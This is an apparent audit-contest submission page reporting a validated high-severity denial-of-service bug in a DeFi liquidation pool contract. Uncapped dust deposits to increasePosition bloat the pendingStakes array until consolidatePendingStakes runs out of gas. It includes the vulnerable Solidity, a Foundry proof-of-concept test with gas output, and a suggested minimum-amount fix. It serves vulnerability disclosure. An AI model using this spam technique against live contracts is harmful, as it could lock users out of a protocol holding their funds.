The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

increasePosition can lead to system dos

0x9527

Summary

Users can invoke the increasePosition function to add tokens to the pendingStakes array. However, there is no minimum amount limit, and users can submit small amounts to this array within a single day. This could potentially lead to a Denial of Service (DOS) scenario when the system executes the consolidatePendingStakes function and iterates through the entire pendingStakers array.

Vulnerability Details

Firstly user invoke increasePosition

function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
require(_tstVal > 0 || _eurosVal > 0);
consolidatePendingStakes();
ILiquidationPoolManager(manager).distributeFees();
if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));//@audit dos attack.
addUniqueHolder(msg.sender);
}

One day after anyone invoke increasePosition or decreasePosition could execute consolidatePendingStakes function

function consolidatePendingStakes() public {
uint256 deadline = block.timestamp - 1 days;
for (int256 i = 0; uint256(i) < pendingStakes.length; i++) {
PendingStake memory _stake = pendingStakes[uint256(i)];
if (_stake.createdAt < deadline) {//@note add previous pendingstakes 1 days before and add to postion.
positions[_stake.holder].holder = _stake.holder;
positions[_stake.holder].TST += _stake.TST;
positions[_stake.holder].EUROs += _stake.EUROs;
deletePendingStake(uint256(i));
// pause iterating on loop because there has been a deletion. "next" item has same index
i--;
}
}
}

here is my test written using foundry

function testIncreasePositionCanLeadToDOS() public {
uint256 tstAmount = 1e18;
deal(address(TST),alice,tstAmount);
deal(address(EUROs),alice,tstAmount);
​
vm.startPrank(alice);
IERC20(TST).approve(address(lp),type(uint256).max);
IERC20(EUROs).approve(address(lp),type(uint256).max);
​
for(uint i;i<1000;i++){
lp.increasePosition(1 wei, 1 wei);
}
​
vm.warp(block.timestamp + 2 days);
​
uint256 gas = gasleft();
lp.increasePosition(1 wei, 1 wei);
console2.log("gas used:",gas-gasleft());
}

With the increasing length of the pendingStakers array, invoking the increasePosition function by any user could result in a substantial gas cost. This situation has the potential to lead to a Denial of Service (DOS) issue, primarily due to Out of Gas (OOG) errors.

Here is the output of test:

Running 1 test for test/LiquidationPool.t.sol:LiquidationTest
[PASS] testPositionCanBeAddMutipletimes() (gas: 1436032666)
Logs:
gas used: 894678382
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.63s

Impact

system DOS

Tools Used

Foundry

Recommendations

I suggest implementing a minimum amount restriction every time increasePosition is called. This way, it would increase the cost for players engaging in potential denial-of-service (DOS) activities.

Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.